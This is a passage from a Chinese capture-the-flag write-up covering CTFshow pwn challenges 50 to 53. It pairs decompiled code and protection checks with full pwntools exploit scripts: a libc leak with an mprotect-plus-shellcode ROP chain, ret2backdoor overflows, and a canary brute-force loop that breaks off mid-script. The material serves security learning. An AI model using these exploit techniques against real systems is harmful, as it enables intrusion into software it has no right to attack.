class="line">io.sendline(payload)</span><br><span class="line"><span class="comment">######### step3 : gets_shellcode_to_bss</span></span><br><span class="line">payload = cyclic(<span class="number">40</span>)</span><br><span class="line">payload+= p64(pop_rdi_ret)</span><br><span class="line">payload+= p64(shellcode_addr)</span><br><span class="line">payload+= p64(libc.sym[<span class="string">&#x27;gets&#x27;</span>])</span><br><span class="line">payload+= p64(main)</span><br><span class="line">io.recvuntil(<span class="string">b&quot;Hello CTFshow&quot;</span>)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.sendline(asm(shellcraft.sh()))</span><br><span class="line"><span class="comment">#gdb.attach(io)</span></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><p>可以看到此时shellcode已经写入我们构造的bss段<br>最后一步就是跳转至此进行get shell了</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch = <span class="string">&#x27;amd64&#x27;</span>,os = <span class="string">&#x27;linux&#x27;</span>,log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line"><span class="comment">#io = remote(&#x27;pwn.challenge.ctf.show&#x27;,28127)</span></span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;/lib/x86_64-linux-gnu/libc.so.6&#x27;</span>)</span><br><span class="line">pop_rdi_ret = <span class="number">0x4007e3</span> <span class="comment"># 0x00000000004007e3 : pop rdi ; ret</span></span><br><span class="line">ctfshow = elf.sym[<span class="string">&#x27;ctfshow&#x27;</span>]</span><br><span class="line">bss_page_addr = <span class="number">0x601000</span></span><br><span class="line">main = elf.sym[<span class="string">&#x27;main&#x27;</span>]</span><br><span class="line">shellcode_addr = <span class="number">0x602000</span> - <span class="number">100</span></span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">hex</span>(ctfshow))</span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">hex</span>(bss_page_addr))</span><br><span class="line"><span class="comment">######### step1 : leak_libc</span></span><br><span class="line">payload = cyclic(<span class="number">40</span>)</span><br><span class="line">payload+= p64(pop_rdi_ret)</span><br><span class="line">payload+= p64(elf.got[<span class="string">&#x27;puts&#x27;</span>])</span><br><span class="line">payload+= p64(elf.plt[<span class="string">&#x27;puts&#x27;</span>])</span><br><span class="line">payload+= p64(ctfshow)</span><br><span class="line">io.recvuntil(<span class="string">b&quot;Hello CTFshow&quot;</span>)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.recvline()</span><br><span class="line">leak_addr = u64((io.recvline().split(<span class="string">b&quot;\x0a&quot;</span>)[<span class="number">0</span>]).ljust(<span class="number">8</span>,<span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">libc.address = leak_addr - libc.sym[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">success(<span class="string">&quot;libc_base = 0x%x&quot;</span>,libc.address)</span><br><span class="line"><span class="comment"># ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 |grep &quot;: pop rsi ; ret&quot;</span></span><br><span class="line">pop_rsi_ret = libc.address + <span class="number">0x2601f</span></span><br><span class="line"><span class="comment"># ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 |grep &quot;: pop rdx ;ret &quot;</span></span><br><span class="line">pop_rdx_ret = libc.address + <span class="number">0x142c92</span></span><br><span class="line"><span class="comment">######### step2 : mprotect_bss_to_rwx</span></span><br><span class="line">payload = cyclic(<span class="number">40</span>)</span><br><span class="line">payload+= p64(pop_rdi_ret)</span><br><span class="line">payload+= p64(bss_page_addr)</span><br><span class="line">payload+= p64(pop_rsi_ret)</span><br><span class="line">payload+= p64(<span class="number">0x1000</span>)</span><br><span class="line">payload+= p64(pop_rdx_ret)</span><br><span class="line">payload+= p64(<span class="number">0x7</span>)</span><br><span class="line">payload+= p64(libc.sym[<span class="string">&#x27;mprotect&#x27;</span>])</span><br><span class="line">payload+= p64(main)</span><br><span class="line">io.recvuntil(<span class="string">b&quot;Hello CTFshow&quot;</span>)</span><br><span class="line">io.sendline(payload)</span><br><span class="line"><span class="comment">######### step3 : gets_shellcode_to_bss</span></span><br><span class="line">payload = cyclic(<span class="number">40</span>)</span><br><span class="line">payload+= p64(pop_rdi_ret)</span><br><span class="line">payload+= p64(shellcode_addr)</span><br><span class="line">payload+= p64(libc.sym[<span class="string">&#x27;gets&#x27;</span>])</span><br><span class="line">payload+= p64(main)</span><br><span class="line">io.recvuntil(<span class="string">b&quot;Hello CTFshow&quot;</span>)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.sendline(asm(shellcraft.sh()))</span><br><span class="line">io.interactive()</span><br><span class="line"><span class="comment">######### step4 : ret2bss</span></span><br><span class="line">payload = cyclic(<span class="number">40</span>)</span><br><span class="line">payload+= p64(shellcode_addr)</span><br><span class="line">io.recvuntil(<span class="string">b&quot;Hello CTFshow&quot;</span>)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><h2 id="pwn51"><a href="#pwn51" class="headerlink" title="pwn51"></a>pwn51</h2><p>Hint：I‘m IronMan</p><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">  Arch:       i386-32-little</span><br><span class="line">  RELRO:      Partial RELRO</span><br><span class="line">  Stack:      No canary found</span><br><span class="line">  NX:         NX enabled</span><br><span class="line">  PIE:        No PIE (0x8048000)</span><br><span class="line">  Stripped:   No</span><br></pre></td></tr></table></figure><p>32位关闭栈保护以及PIE</p><p>IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> a1)</span></span><br><span class="line">&#123;</span><br><span class="line">  sub_80492E6(&amp;a1);</span><br><span class="line">  sub_8049343();</span><br><span class="line">  alarm(<span class="number">0x1Eu</span>);</span><br><span class="line">  sub_8049059();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>分别跟进这几个函数，然后修改函数名，便于分析：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> a1)</span></span><br><span class="line">&#123;</span><br><span class="line">  init();</span><br><span class="line">  logo(&amp;a1);</span><br><span class="line">  alarm(<span class="number">0x1Eu</span>);</span><br><span class="line">  ctfshow();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>跟进漏洞函数ctfshow：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">ctfshow</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> v0; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">int</span> v1; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> v2; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">int</span> v3; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">const</span> <span class="type">char</span> *src; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">int</span> v6; <span class="comment">// [esp-Ch] [ebp-84h]</span></span><br><span class="line">  <span class="type">int</span> v7; <span class="comment">// [esp-8h] [ebp-80h]</span></span><br><span class="line">  _BYTE v8[<span class="number">12</span>]; <span class="comment">// [esp+0h] [ebp-78h] BYREF</span></span><br><span class="line">  <span class="type">char</span> s[<span class="number">32</span>]; <span class="comment">// [esp+Ch] [ebp-6Ch] BYREF</span></span><br><span class="line">  _BYTE v10[<span class="number">24</span>]; <span class="comment">// [esp+2Ch] [ebp-4Ch] BYREF</span></span><br><span class="line">  _BYTE v11[<span class="number">24</span>]; <span class="comment">// [esp+44h] [ebp-34h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> i; <span class="comment">// [esp+5Ch] [ebp-1Ch]</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">memset</span>(s, <span class="number">0</span>, <span class="keyword">sizeof</span>(s));</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Who are you?&quot;</span>);</span><br><span class="line">  read(<span class="number">0</span>, s, <span class="number">0x20u</span>);</span><br><span class="line">  <span class="built_in">std</span>::<span class="built_in">string</span>::operator=(&amp;unk_804D0A0, &amp;unk_804A350);</span><br><span class="line">  <span class="built_in">std</span>::<span class="built_in">string</span>::operator+=(&amp;unk_804D0A0, s);</span><br><span class="line">  <span class="built_in">std</span>::<span class="built_in">string</span>::basic_string(v10, &amp;unk_804D0B8);</span><br><span class="line">  <span class="built_in">std</span>::<span class="built_in">string</span>::basic_string(v11, &amp;unk_804D0A0);</span><br><span class="line">  sub_8048F06(v8);</span><br><span class="line">  <span class="built_in">std</span>::<span class="built_in">string</span>::~<span class="built_in">string</span>(v11, v11, v10);</span><br><span class="line">  <span class="built_in">std</span>::<span class="built_in">string</span>::~<span class="built_in">string</span>(v10, v6, v7);</span><br><span class="line">  <span class="keyword">if</span> ( sub_80496D6(v8) &gt; <span class="number">1u</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">std</span>::<span class="built_in">string</span>::operator=(&amp;unk_804D0A0, &amp;unk_804A350);</span><br><span class="line">    v0 = sub_8049700(v8, <span class="number">0</span>);</span><br><span class="line">    <span class="keyword">if</span> ( (<span class="type">unsigned</span> __int8)sub_8049722(v0, &amp;unk_804A350) )</span><br><span class="line">    &#123;</span><br><span class="line">      v1 = sub_8049700(v8, <span class="number">0</span>);</span><br><span class="line">      <span class="built_in">std</span>::<span class="built_in">string</span>::operator+=(&amp;unk_804D0A0, v1);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">for</span> ( i = <span class="number">1</span>; ; ++i )</span><br><span class="line">    &#123;</span><br><span class="line">      v2 = sub_80496D6(v8);</span><br><span class="line">      <span class="keyword">if</span> ( v2 &lt;= i )</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      <span class="built_in">std</span>::<span class="built_in">string</span>::operator+=(&amp;unk_804D0A0, <span class="string">&quot;IronMan&quot;</span>);</span><br><span class="line">      v3 = sub_8049700(v8, i);</span><br><span class="line">      <span class="built_in">std</span>::<span class="built_in">string</span>::operator+=(&amp;unk_804D0A0, v3);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  src = (<span class="type">const</span> <span class="type">char</span> *)<span class="built_in">std</span>::<span class="built_in">string</span>::c_str(&amp;unk_804D0A0);</span><br><span class="line">  <span class="built_in">strcpy</span>(s, src);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Wow!you are:%s&quot;</span>, s);</span><br><span class="line">  <span class="keyword">return</span> sub_8049616(v8);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>很明显，与我们平时分析的不太一样，这个程序是c++写的。在往s中read的时候大小没有问题，但是程序在下面将字符”I”替换成 了”IronMan”，最后在strcpy的时候发生了溢出。只需要简单计算一下 1 </p><p>- 7 ，那么在输入16个“I” 就会被替换为 16 * 7 &#x3D; 112个字符，而s距ebp的距离为 0x6c &#x3D; 108</p><p>正常溢出覆盖到返回地址就是 cyclic(0x6c+4) &#x3D; cyclic(112) ,输入16个I刚好替换成 16个”IronMan”，刚好是112个，也就刚好覆盖到返回地址</p><p>按住shift + F12查看一下字符串：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.rodata:0804A33100000012Ccat /ctfshow_flag</span><br></pre></td></tr></table></figure><p>看到有 “cat &#x2F;ctfshow_flag”关键字符串，进行查看在哪里进行了调用：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">sub_804902E</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">return</span> system(<span class="string">&quot;cat /ctfshow_flag&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>没有PIE和canary直接利用即可。再覆盖到返回地址后加上上述的后门函数地址即可获得flag。</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch = <span class="string">&#x27;i386&#x27;</span>,os = <span class="string">&#x27;linux&#x27;</span>,log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line"><span class="comment">#io = remote(&#x27;pwn.challenge.ctf.show&#x27;,28167)</span></span><br><span class="line">get_flag = <span class="number">0x804902E</span></span><br><span class="line">payload = <span class="string">b&quot;I&quot;</span>*<span class="number">16</span> + p32(get_flag)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 906</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Stack_Overflow</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : Who are you?</span><br><span class="line">    * *************************************</span><br><span class="line">Who are you?</span><br><span class="line">Wow!you are:IronManIronManIronManIronManIronManIronManIronManIronManIronManIronManIronManIronManIronManIronManIronManIronMan.\x90\x04\x08</span><br><span class="line">flag&#123;just_test_my_process&#125;</span><br></pre></td></tr></table></figure><h2 id="pwn52"><a href="#pwn52" class="headerlink" title="pwn52"></a>pwn52</h2><p>Hint：迎面走来的flag让我如此蠢蠢欲动</p><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">  Arch:       i386-32-little</span><br><span class="line">  RELRO:      Partial RELRO</span><br><span class="line">  Stack:      No canary found</span><br><span class="line">  NX:         NX enabled</span><br><span class="line">  PIE:        No PIE (0x8048000)</span><br><span class="line">  Stripped:   No</span><br></pre></td></tr></table></figure><p>32位关闭栈保护与PIE</p><p>IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  setvbuf(<span class="built_in">stdout</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  logo(&amp;argc);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;What do you want?&quot;</span>);</span><br><span class="line">  ctfshow();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>跟进ctfshow函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">ctfshow</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s[<span class="number">104</span>]; <span class="comment">// [esp+Ch] [ebp-6Ch] BYREF</span></span><br><span class="line"></span><br><span class="line">  gets(s);</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">puts</span>(s);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>还是经典的栈溢出漏洞，再查看一下程序的敏感字符串,发现了flag函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">char</span> *__cdecl <span class="title function_">flag</span><span class="params">(<span class="type">int</span> n876, <span class="type">int</span> n877)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> *result; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">char</span> s[<span class="number">64</span>]; <span class="comment">// [esp+Ch] [ebp-4Ch] BYREF</span></span><br><span class="line">  FILE *stream; <span class="comment">// [esp+4Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  stream = fopen(<span class="string">&quot;/ctfshow_flag&quot;</span>, <span class="string">&quot;r&quot;</span>);</span><br><span class="line">  <span class="keyword">if</span> ( !stream )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;/ctfshow_flag: No such file or directory.&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  result = fgets(s, <span class="number">64</span>, stream);</span><br><span class="line">  <span class="keyword">if</span> ( n876 == <span class="number">876</span> &amp;&amp; n877 == <span class="number">877</span> )</span><br><span class="line">    <span class="keyword">return</span> (<span class="type">char</span> *)<span class="built_in">printf</span>(s);</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>先打开文件 “&#x2F;ctfshow_flag”，从文件中读取内容到字符数组 s 中，然后根据输入参数的值进行条件判断。如果输入参数的值满足特定条件，将读取的内容通过 printf 输出到屏幕，并返回字符串 s的指针。否则，返回文件读取的内容。</p><p>这里我们需要让a1 &#x3D; 0x36C 且a2 &#x3D; 0x36D,即可获得flag</p><p>那么我们首先需要利用栈溢出漏洞将程序流程劫持到flag函数，再满足它的条件即可：</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line">payload=<span class="string">b&#x27;a&#x27;</span>*(0x^c+<span class="number">4</span>)+p32(flag)+p32(<span class="number">0</span>)+p32(<span class="number">0x36c</span>)+p32(<span class="number">0x36d</span>)<span class="comment">#覆盖函数返回后的 下一个指令地址</span></span><br></pre></td></tr></table></figure><p>由于 payload 中传递给函数 flag 的参数满足了条件 a1 &#x3D;&#x3D; 0x36C 和 a2 &#x3D;&#x3D; 0x36D ，所以在函数内部的条件判断 if (a1 &#x3D;&#x3D; 0x36C &amp;&amp; a2 &#x3D;&#x3D; 0x36D) 将会为真，执行相应的代码块。</p><p>因此，通过构造特定的 payload，我们可以控制函数 flag 的执行路径，使其输出文件”&#x2F;ctfshow_flag” 中的内容。</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line"><span class="comment">#context.log_level = &#x27;debug&#x27;</span></span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line"><span class="comment">#io = remote(&#x27;pwn.challenge.ctf.show&#x27;,28159)</span></span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">flag = elf.sym[<span class="string">&#x27;flag&#x27;</span>]</span><br><span class="line">payload=<span class="string">b&#x27;a&#x27;</span>*(<span class="number">0x6c</span>+<span class="number">4</span>) + p32(flag) + p32(<span class="number">0</span>) + p32(<span class="number">0x36c</span>) + p32(<span class="number">0x36d</span>)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 941</span><br><span class="line">[*] <span class="string">&#x27;/CTFshow_pwn/pwn&#x27;</span></span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stripped:   No</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Stack_Overflow</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : You should meet its conditions!</span><br><span class="line">    * *************************************</span><br><span class="line">What <span class="keyword">do</span> you want?</span><br><span class="line">aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x86\x85\x04\x08</span><br><span class="line">flag&#123;just_test_my_process&#125;</span><br></pre></td></tr></table></figure><h2 id="pwn53"><a href="#pwn53" class="headerlink" title="pwn53"></a>pwn53</h2><p>Hint：存在后门函数，如何利用？</p><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">  Arch:       i386-32-little</span><br><span class="line">  RELRO:      Partial RELRO</span><br><span class="line">  Stack:      No canary found</span><br><span class="line">  NX:         NX enabled</span><br><span class="line">  PIE:        No PIE (0x8048000)</span><br><span class="line">  Stripped:   No</span><br></pre></td></tr></table></figure><p>32位关闭栈保护与PIE</p><p>IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  setvbuf(<span class="built_in">stdout</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  logo(&amp;argc);</span><br><span class="line">  canary();</span><br><span class="line">  ctfshow();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>跟进canary函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">canary</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  FILE *stream; <span class="comment">// [esp+Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  stream = fopen(<span class="string">&quot;/canary.txt&quot;</span>, <span class="string">&quot;r&quot;</span>);</span><br><span class="line">  <span class="keyword">if</span> ( !stream )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;/canary.txt: No such file or directory.&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  fread(&amp;global_canary, <span class="number">1u</span>, <span class="number">4u</span>, stream);</span><br><span class="line">  <span class="keyword">return</span> fclose(stream);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>先声明了一个指针变量 stream ，用于表示文件指针。然后，使用 fopen 函数打开名为”&#x2F;canary.txt” 的文件，以只读模式打开。如果打开失败，即文件不存在或无法打开，程序将输出一条错误信息 “&#x2F;canary.txt: No such file or directory.” 并调用 exit(0) 终止程序。</p><p>再使用 fread 函数从打开的文件中读取 4 个字节（32 位）的数据，并将其存储到全局变global_canary 中。 &amp;global_canary 是 global_canary 变量的地址，用于指定数据的存储位置。</p><p>跟进ctfshow函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">ctfshow</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">size_t</span> nbytes; <span class="comment">// [esp+4h] [ebp-54h] BYREF</span></span><br><span class="line">  _DWORD v2[<span class="number">8</span>]; <span class="comment">// [esp+8h] [ebp-50h] BYREF</span></span><br><span class="line">  _BYTE buf[<span class="number">32</span>]; <span class="comment">// [esp+28h] [ebp-30h] BYREF</span></span><br><span class="line">  <span class="type">int</span> s1; <span class="comment">// [esp+48h] [ebp-10h] BYREF</span></span><br><span class="line">  <span class="type">int</span> n31; <span class="comment">// [esp+4Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  n31 = <span class="number">0</span>;</span><br><span class="line">  s1 = global_canary;</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;How many bytes do you want to write to the buffer?\n&gt;&quot;</span>);</span><br><span class="line">  <span class="keyword">while</span> ( n31 &lt;= <span class="number">31</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    read(<span class="number">0</span>, (<span class="type">char</span> *)v2 + n31, <span class="number">1u</span>);</span><br><span class="line">    <span class="keyword">if</span> ( *((_BYTE *)v2 + n31) == <span class="number">10</span> )</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    ++n31;</span><br><span class="line">  &#125;</span><br><span class="line">  __isoc99_sscanf(v2, <span class="string">&quot;%d&quot;</span>, &amp;nbytes);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;$ &quot;</span>);</span><br><span class="line">  read(<span class="number">0</span>, buf, nbytes);</span><br><span class="line">  <span class="keyword">if</span> ( <span class="built_in">memcmp</span>(&amp;s1, &amp;global_canary, <span class="number">4u</span>) )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Error *** Stack Smashing Detected *** : Canary Value Incorrect!&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Where is the flag?&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> fflush(<span class="built_in">stdout</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>首先定义了一些局部变量，包括 nbytes 、 v2 、 buf 、 s1 和 n31 。 nbytes 用于存储用户输入的字节数， v2 是一个字符数组，用于存储用户输入的内容， buf 是一个字符数组，用于存储从标准输入读取的数据。 s1 是一个整型变量，用于存储全局变量 global_canary 的值。 n31 是一个整型变量，用于控制循环。</p><p>再使用 read 函数从标准输入读取用户的输入，并存储到字符数组 v2 中。循环会一直进行，直到遇到换行符 \n （ASCII码为10）为止。每次读取一个字节，存储到 v2 中，并逐渐增加 n31 的值。 n31用于记录读取的字符个数。</p><p>接着使用 __isoc99_sscanf 函数将 v2 中的字符串转换为整数，并存储到 nbytes 中。这里使用%d 格式说明符将字符串解析为一个有符号整数。</p><p>使用 printf 输出提示信息 “$ “，表示等待用户输入。接着，使用 read 函数从标准输入读取nbytes 个字节的数据，并将数据存储到缓冲区 buf 中。</p><p>之后，代码通过比较 s1 和全局变量 global_canary 的值来检查堆栈的完整性。如果两者的值不相等，表示堆栈被破坏，输出错误信息 “Error *** Stack Smashing Detected *** : Canary ValueIncorrect!”，并调用 exit(-1) 终止程序。</p><p>最后，代码输出信息 “Where is the flag?”，并调用 fflush(stdout) 刷新标准输出缓冲区。</p><p>总结起来，这段代码的功能是从标准输入读取用户输入的字节数，并将相应字节数的数据读取到缓冲区 buf 中。然后，它会检查堆栈的完整性，如果堆栈被破坏，则输出错误信息并终止程序。我们可以看出程序是模拟了一个保护，但是由于文件名不变，其内容大概率也是不会变化的。加上题目提示猜测可以进行爆破。</p><p>还注意到有一个flag函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">flag</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s[<span class="number">64</span>]; <span class="comment">// [esp+Ch] [ebp-4Ch] BYREF</span></span><br><span class="line">  FILE *stream; <span class="comment">// [esp+4Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  stream = fopen(<span class="string">&quot;/ctfshow_flag&quot;</span>, <span class="string">&quot;r&quot;</span>);</span><br><span class="line">  <span class="keyword">if</span> ( !stream )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;/ctfshow_flag: No such file or directory.&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  fgets(s, <span class="number">64</span>, stream);</span><br><span class="line">  <span class="built_in">puts</span>(s);</span><br><span class="line">  <span class="keyword">return</span> fflush(<span class="built_in">stdout</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>在爆破完成知道canary的情况下，剩下的就是简单的栈溢出劫持程序执行流至flag函数就能get flag了</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment">#本地</span></span><br><span class="line">$ <span class="built_in">echo</span> <span class="string">&quot;/x00/x00/x00/x00&quot;</span> | <span class="built_in">sudo</span> <span class="built_in">tee</span> /canary.txt &gt; /dev/null</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level = <span class="string">&#x27;critical&#x27;</span> <span class="comment">#context是pwntools中的全局配置对象，log_level 用于设置日志输出的详细程度。常见的级别从低到高为：debug（最详细）→ info → warning → error → critical（最简略）。</span></span><br><span class="line">canary = <span class="string">b&#x27;&#x27;</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">4</span>): <span class="comment">#32位Canary共4字节，逐字节泄露</span></span><br><span class="line"><span class="keyword">for</span> c <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0xFF</span>): <span class="comment">#尝试每个可能的字节值（0-255）</span></span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">io.sendlineafter(<span class="string">b&#x27;&gt;&#x27;</span>,<span class="string">b&#x27;-1&#x27;</span>) <span class="comment">#程序输出&gt;(分隔符)后，-1输入【nbytes 被解析为负数时，在 32 位系统中会被转换为一个很大的无符号整数（因为 read 函数的第三个参数是无符号数），所以这句允许写入足够多的字节，触发栈溢出。】</span></span><br><span 